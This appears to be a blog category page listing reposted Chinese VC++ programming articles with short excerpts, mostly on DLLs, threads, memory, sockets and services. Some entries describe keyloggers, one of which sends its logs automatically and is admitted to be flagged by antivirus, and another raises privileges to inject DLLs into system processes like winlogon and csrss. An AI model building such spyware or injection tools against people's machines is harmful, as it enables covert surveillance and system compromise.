VC++神奇理论
文章平均质量分 81
woshinia
这个作者很懒,什么都没留下…
展开
-
动态链接库技术及其研究
0 前言动态链接库 (DLL)是一个包含可由多个程序同时使用的代码和数据的库,DLL不是可执行文件。动态链接提供了一种方法,使进程可以调用不属于其可执行代码的函数。函数的可执行代码位于一个DLL中,该DLL包含一个或多个已被编译、链接并与使用它们的进程分开存储的函数。DLL还转载 2011-09-14 09:10:55 · 1216 阅读 · 0 评论 -
内存对齐
在最近的项目中,我们涉及到了“内存对齐”技术。对于大部分程序员来说,“内存对齐”对他们来说都应该是“透明的”。“内存对齐”应该是编译器的“管辖范围”。编译器为程序中的每个“数据单元”安排在适当的位置上。但是C语言的一个特点就是太灵活,太强大,它允许你干预“内存对齐”。如果你想了解转载 2011-09-14 10:14:29 · 681 阅读 · 0 评论 -
VC 获取文件大小方法集锦
VC 获取文件大小方法集锦方法一:WIN32_FIND_DATA fileInfo;HANDLE hFind;DWORD fileSize;const char *fileName = 文件的路径及名字;hFind = FindFi转载 2011-08-16 11:23:28 · 720 阅读 · 0 评论 -
STL vector 容器介绍
STL vector 容器介绍A Presentation of the STL Vector Container (By Nitron)翻译 masterlee介绍std::vector,并且讨论它在STL中的算法和条件函数remove_if()。 Down转载 2011-08-16 14:18:31 · 519 阅读 · 0 评论 -
Ogre配置完全教程
本人可配置摸索了整整一天。按本教程绝对成功!!1.下载解压ogreSDK,并安装openGL或directXSDK2.下载依赖包,解压到SDK文件夹,并且编译它。3.设置下环境变量:OGRE_HOME 为你的SDK路径4.新建你的vc++win32空项目,打上转载 2011-08-18 09:10:46 · 954 阅读 · 0 评论 -
什么是内存泄漏
什么是内存泄漏?内存泄漏是什么意思?所谓的内存泄漏可以理解为内存单元逐渐被无用的数据占用在c c++里可以通过内存单元没有释放引起java里可以通过 未对作废数据内存单元的引用置null引起分配了内存而没有释放,逐渐耗尽内存资源,导致系统崩溃。内存泄露是指程序中间动态分配转载 2011-08-22 11:00:21 · 2187 阅读 · 0 评论 -
在Visual C++ 6.0下显示JPEG、GIF等格式标准的图像的一种实现起来比较简便的方法
摘要:本文讲述了在Visual C++ 6.0下显示JPEG、GIF等格式标准的图像的一种实现起来比较简便的方法,对实现过程作有详细的说明。 关键字:图像、JPEG、GIF、Microsoft Visual C++ 6.0 一、 引言 JPEG图像压转载 2011-09-21 16:59:43 · 2554 阅读 · 0 评论 -
vc中获取焦点的一些常用方法
::SetFocus(GetHwnd()); const HWND hFore = ::GetForegroundWindow(); const DWORD dwThreadIdFore = ::GetWindowThreadProcessId(转载 2011-09-23 10:49:23 · 6316 阅读 · 0 评论 -
最原始但很有效的键盘记录方法
#include #include std::string GetKey(int Key){std::string KeyString = "";if (Key == 8)KeyString = "[delete]";else if (Key ==转载 2011-09-23 10:50:46 · 2425 阅读 · 0 评论 -
键盘记录及自动发送VC++实现
正文:首先我想向大家说明的是:1、 现在这个软体已经被某些杀毒软件(nod32、瑞星等)偶尔报为病毒了;2、 本软件仅供学习使用;3、 软件的很多代码为他人所有,我是直接拿来使用,我并不保留这个软件及代码的任何所有权,大家可以随便转载,但请帮我宣传我的转载 2011-09-23 10:23:05 · 4881 阅读 · 3 评论 -
多媒体处理—VC图像处理
利用VC实现图像的特殊显示效果经常看电视的朋友们不知注意到没有,最近的电视连续剧在每集片头或片尾部分都有显示一些特殊效果的图像,比如前一阵子中央一套放的《长征》、目前中央八套正在播放的《康熙王朝》,这些特效称为"图像的浮雕效果"和"图像的雕刻效果",经过这些特效处理后的图像增转载 2011-09-27 17:19:22 · 23877 阅读 · 3 评论 -
桌面墙纸编程资料
问题: 在应用程序中如何激活活动桌面(Active Desktop)?一般情况下用户可以在桌面 单击右键,选择“活动桌面”=〉“按Web页查看”来打开/关闭活动桌面特性。有没有什 么函数可以程序中调用来实现对活动桌面的操作?另外,如何断定用户激活或取消活动 桌面? 解答:转载 2011-09-29 08:23:24 · 1323 阅读 · 0 评论 -
vc编程更改桌面背景
网上很难找到一个完整的使用IActiveDesktop更改桌面图片的确实可行的例子,现笔者收集多方资料整理如下,该程序在VC6.0上运行OK。Step1.在需要使用IActiveDesktop程序所在的C++文档里包含头文件#includeStep2.在StdAf转载 2011-09-29 08:22:04 · 3139 阅读 · 0 评论 -
多线程编程之三——线程间通讯
多线程编程之三——线程间通讯作者:韩耀旭下载源代码七、线程间通讯 一般而言,应用程序中的一个次要线程总是为主线程执行特定的任务,这样,主线程和次要线程间必定有一个信息传递的渠道,也就是主线程和次要线程间要进行通信。这种线程间的通信不但是难以避免的,而且在多线转载 2011-10-09 17:28:26 · 596 阅读 · 0 评论 -
多线程编程之二——MFC中的多线程开发
多线程编程之二——MFC中的多线程开发作者:韩耀旭下载源代码五、MFC对多线程编程的支持 MFC中有两类线程,分别称之为工作者线程和用户界面线程。二者的主要区别在于工作者线程没有消息循环,而用户界面线程有自己的消息队列和消息循环。 工作者线程没有消息机转载 2011-10-09 17:27:49 · 579 阅读 · 0 评论 -
多线程编程之一——问题提出
多线程编程之一——问题提出作者:韩耀旭下载源代码一、问题的提出编写一个耗时的单线程程序: 新建一个基于对话框的应用程序SingleThread,在主对话框IDD_SINGLETHREAD_DIALOG添加一个按钮,ID为IDC_SLEEP_SIX_SEC转载 2011-10-09 17:27:00 · 659 阅读 · 0 评论 -
VC 调用DLL文件的方法
1. 直接调用 HINSTANCE hinst = NULL;//导入DLL得到的变量// 返回值 函数声明的名称 参数 typedef BOOL (CALLBACK转载 2011-10-14 10:37:23 · 941 阅读 · 0 评论 -
多线程编程之四——线程的同步
多线程编程之四——线程的同步作者:韩耀旭下载源代码八、线程的同步 虽然多线程能给我们带来好处,但是也有不少问题需要解决。例如,对于像磁盘驱动器这样独占性系统资源,由于线程可以执行进程的任何代码段,且线程的运行是由系统调度自动完成的,具有一定的不确定性,因此就转载 2011-10-09 17:28:55 · 567 阅读 · 0 评论 -
如何将程序员写出来的程序打包成安装包(最简单的)
一、准备工作:先下载一个Inno Setup编译器,这里我用到的是5.3.3中文版的。下载地址:http://www.skycn.com/soft/5625.html软件介绍: Inno Setup 是一个免费的安装制作软件,小巧、简便、精美是其最大特点,支持pasc转载 2011-10-14 10:32:12 · 8404 阅读 · 3 评论 -
创建透明窗口及其应用--屏幕画笔
一、使窗口透明其实很简单。就是一个函数SetLayeredWindowAttributes步骤如下:步骤一:让窗口具透明的特性::SetWindowLong(m_hWnd,GWL_EXSTYLE, GetWindowLong(m_hWnd,GWL_EXSTYLE)|WS_EX_LAYERED);当你不希望窗口透明时,就使这个添加的转载 2011-11-02 17:09:18 · 1653 阅读 · 0 评论 -
结束进程
1,结束进程需要提升权限,下面是一个结束指定ID进程的程序片段,希望对你又帮助。这个是完整的代码,pslist函数列出所有进程,killps杀掉指定ID的进程。#include #include #include void pslist(void);BOOL killps(DWORD id);BOOL SetPrivilege(HANDLE hToken,LPCT转载 2011-11-03 10:42:42 · 646 阅读 · 0 评论 -
图形数字的识别算法: 车牌识别及验证码识别的一般思路
图形数字的识别算法: 车牌识别及验证码识别的一般思路 本文源自我之前花了2天时间做的一个简单的车牌识别系统。那个项目,时间太紧,样本也有限,达不到对方要求的95%识别率(主要对于车牌来说,D,0,O,I,1等等太相似了。然后,汉字的识别难度也不小),因此未被对方接受。在此放出,同时描述一下思路及算法。全文分两部分,第一部分讲车牌识别及普通验证码这一类识别的普通方法,第二部分讲对类似QQ验证码,转载 2011-11-24 14:58:31 · 18741 阅读 · 5 评论 -
vc++ 如何检测内存泄露
C++内存泄漏的检测,首先我们需要知道程序有没有内存泄露,然后定位到底是哪行代码出现内存泄露了,这样才能将其修复。 最简单的方法当然是借助于专业的检测工具,比较有名如BoundsCheck工具,功能非常强大,相信做C++开发的人都离不开它。此外就是不使用任何工具,而是自己来实现对内存泄露的监控,分如下两种情况: 一. 在 MFC 中检测内存泄漏 假如是用MFC的程序的话,很转载 2011-11-09 11:07:11 · 1783 阅读 · 0 评论 -
VC++:如何将程序启动时最小化到托盘
在Windows操作系统中,任务栏的右边(托盘)会常驻几个图标,如输入法切换图标、音量控制图标等,此外我们还经常遇到具有托盘图标的软件,如金山词霸、实时监测功能的杀毒软件等。这些软件在后台运行,通常不占用太多的屏幕资源,只在通知栏上放一个小小的标志,必要时我们可以通过用鼠标点击图标对其进行选单操作或激活其主窗口。有时我们自己编写的程序也希望有类似的效果,本文将详细地介绍用VC设计托盘图标程序的方法转载 2011-11-11 14:24:39 · 1377 阅读 · 0 评论 -
线程优先级
进程本身不存在调度问题的,调度的是线程。我们可以在Windows任务管理器设置某个进程的优先级类,微软使用优先级类仅仅是使问题简单化。当然,通过优先级类和相对线程优先级的配合,就可以得到线程的优先级值(BASE PRIORITY LEVEL)。Windows系统有0~31共32个优先级值。大于15以上的优先级全部是Real-time级优先级,这是最高的优先级类,通常会首先调度这些优先级的线程。转载 2011-11-11 16:10:32 · 2043 阅读 · 0 评论 -
用VC++来设置获得注册表的键值
下面这个是基于MFC的基本对话写的。。 演示设置注册表的3中类型的值和获得注册表的3中类型的值。。 分别用RegSetValueEx()来设置,RegQueryValueEx()函数来获得。void CUserRegDlg::OnOK() {// TODO: Add extra validation hereCString str = "hello reg";DWORD转载 2011-12-05 14:52:02 · 3221 阅读 · 0 评论 -
如何提高当前进程的权限
很多时候我们需要提高本进程的权限,比如要把DLL注入类似Winlogo、csrss系统进程。如果使用默认的权限肯定是做不到的。BOOL EnablePrivilege(LPCTSTR lpszPrivilegeName,BOOL bEnable){ HANDLE hToken; TOKEN_PRIVILEGES tp; LUID luid;转载 2012-04-11 16:51:58 · 1419 阅读 · 0 评论 -
数组参数传递中的一些问题?
又是公司招聘的时候了,最近很多同学来问我问题,其中一些同学问到了数组传递的问题,其实这个东西重要的是了解编译器为什么这么实现,完全靠记住结论是不可取的,下面个人对这方面的一些见解.高质量C++编程指南中指出当数组作为函数的参数进行传递时,该数组自动退化为同类型的指针,这句话针对一维数组是正确的(目前个人认为是正确的),但是对于多维数组,这显然不完全正确。C语言之所以把数组形参当作指针是出于效率转载 2012-06-19 09:43:44 · 681 阅读 · 0 评论 -
VC内存分配:GlobalAlloc、new、malloc、HeapAlloc
VC编程精粹需要进行内存的动态分配和释放操作,本文总结常用的VC对内存的操作方法并比较他们之间的区别,以便于读者能够加深对他们的理解并根据项目的实际情况选用适合自己的方案。用法总结:1、GlobalAlloc()The GlobalAlloc function allocates the specified number of bytes from the heap. Wi转载 2012-06-19 10:05:32 · 832 阅读 · 0 评论 -
C++内存管理
C++内存管理[导语]内存管理是C++最令人切齿痛恨的问题,也是C++最有争议的问题,C++高手从中获得了更好的性能,更大的自由,C++菜鸟的收获则是一遍一遍的检查代码和对C++的痛恨,但内存管理在C++中无处不在,内存泄漏几乎在每个C++程序中都会发生,因此要想成为C++高手,内存管理一关是必须要过的,除非放弃C++,转到Java或者.NET,他们的内存管理基本是自动的,当然转载 2012-06-19 10:22:47 · 1292 阅读 · 0 评论 -
Windows Socket五种I/O模型——代码全攻略
如果你想在Windows平台上构建服务器应用,那么I/O模型是你必须考虑的。Windows操作系统提供了选择(Select)、异步选择(WSAAsyncSelect)、事件选择(WSAEventSelect)、重叠I/O(Overlapped I/O)和完成端口(Completion Port)共五种I/O模型。每一种模型均适用于一种特定的应用场景。程序员应该对自己的应用需求非常明确,而且综合考虑转载 2012-07-04 10:39:27 · 1216 阅读 · 0 评论 -
VC程序提升管理员权限
程序的权限不够,应用管理员权限打开程序运行方可。如何使vc程序运行时请求管理员权限?如果是2005或者2008 就简单了,直接项目右键---属性---连接器---清单文件---uac执行级别 选择requireAdministrator 重新编译 这样你的程序直接运行就拥有管理员权限了。 /*****************************转载 2012-07-04 11:40:31 · 11134 阅读 · 0 评论 -
C/C++可变参数
★函数:使用VA_LIST宏组解决变参问题 1、首先定义va_list型的变量,这个变量是指向参数的指针。 2、然后用va_start宏初始化刚定义的va_list变量,这个宏的第二个参数是“第一个可变参数的前一个参数”。 3、再用va_arg得到可变参数,第二个参数是“可变参数”的类型。 4、最后转载 2012-06-21 09:46:16 · 1890 阅读 · 0 评论 -
WaitForSingleObject 与 EnterCriticalSection 性能比较
摘要在 Microsoft Windows 平台上有几种以原子方式锁定代码和数据的不同方法。此白皮书的主要目的是向开发人员简要介绍 Windows 中进行锁定的不同方法以及与这些锁定有关的相应性能开销。因为未来架构将是多核架构,因此此信息非常适用。简介多线程软件应用对于提升英特尔内核架构的性能至关重要。锁定代码通常是多线程应用中运行最频繁的代码。确定要使用的锁定方法与确定应用中并行处理转载 2012-07-05 12:33:13 · 10686 阅读 · 0 评论 -
windows消息循环标准实例
#include LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM); int WINAPI WinMain(HINSTANCE hINstance, HINSTANCE hPrevInstance, LPSTR lpszCmdParam, int nCmdShow) { static char szAppName[]="xiansh转载 2012-07-05 15:47:02 · 2047 阅读 · 0 评论 -
用Visual C++ 6.0写Windows 服务
// ServiceTest.cpp : Defines the entry point for the console application.//#include "stdafx.h"#include #ifdef _DEBUG#define new DEBUG_NEW#undef THIS_FILEstatic char THIS_FILE[] = __FILE_转载 2012-07-05 15:54:02 · 770 阅读 · 0 评论 -
MSXML使用教程
在DOM接口规范中,有四个基本的接口:Document,Node,NodeList以及NamedNodeMap。在这四个基本接口中,Document接口是对文档进行操作的入口,它是从Node接口继承过来的。Node接口是其他大多数接口的父类,象Documet,Element,Attribute,Text,Comment等接口都是从Node接口继承过来的。NodeList接口是一个节点的集合,它包含转载 2012-06-27 16:44:11 · 13807 阅读 · 0 评论 -
VC制作系统服务
本文主要介绍了 OpenSCManager、CreateService、OpenService、ControlService、DeleteService、RegisterServiceCtrlHandler、SetServiceStatus、StartServiceCtrlDispatcher等操作服务程序的主要几个API的用法,具体的函数参数大家可以查阅MSDN。 为什么要使用服务转载 2012-06-27 12:32:23 · 1032 阅读 · 0 评论 -
VC++ 线程池
服务器程序利用线程技术响应客户请求已经司空见惯,可能您认为这样做效率已经很高,但您有没有想过优化一下使用线程的方法。该文章将向您介绍服务器程序如何利用线程池来优化性能并提供一个简单的线程池实现。线程池的技术背景在面向对象编程中,创建和销毁对象是很费时间的,因为创建一个对象要获取内存资源或者其它更多资源。在Java中更是如此,虚拟机将试图跟踪每一个对象,以便能够在对象销毁后进行垃圾回收。转载 2012-07-03 10:49:03 · 4174 阅读 · 0 评论 -
DirectShow
一、 前言 流媒体的定义很广泛,大多数时候指的是把连续的影像和声音信息经过压缩处理后放上网站服务器,让用户一边下载一边观看、收听,而不需要等整个压缩文件下载到自己机器就可以观看的视频/音频传输、压缩技术。流媒体也指代由这种技术支持的某种特定文件格式:压缩流式文件,它通过网络传输,并通过个人电脑软件进行解码。 MCI是微软为Windows最初提出的多媒体编程接口,随着多媒体技术的转载 2012-07-13 16:37:58 · 965 阅读 · 0 评论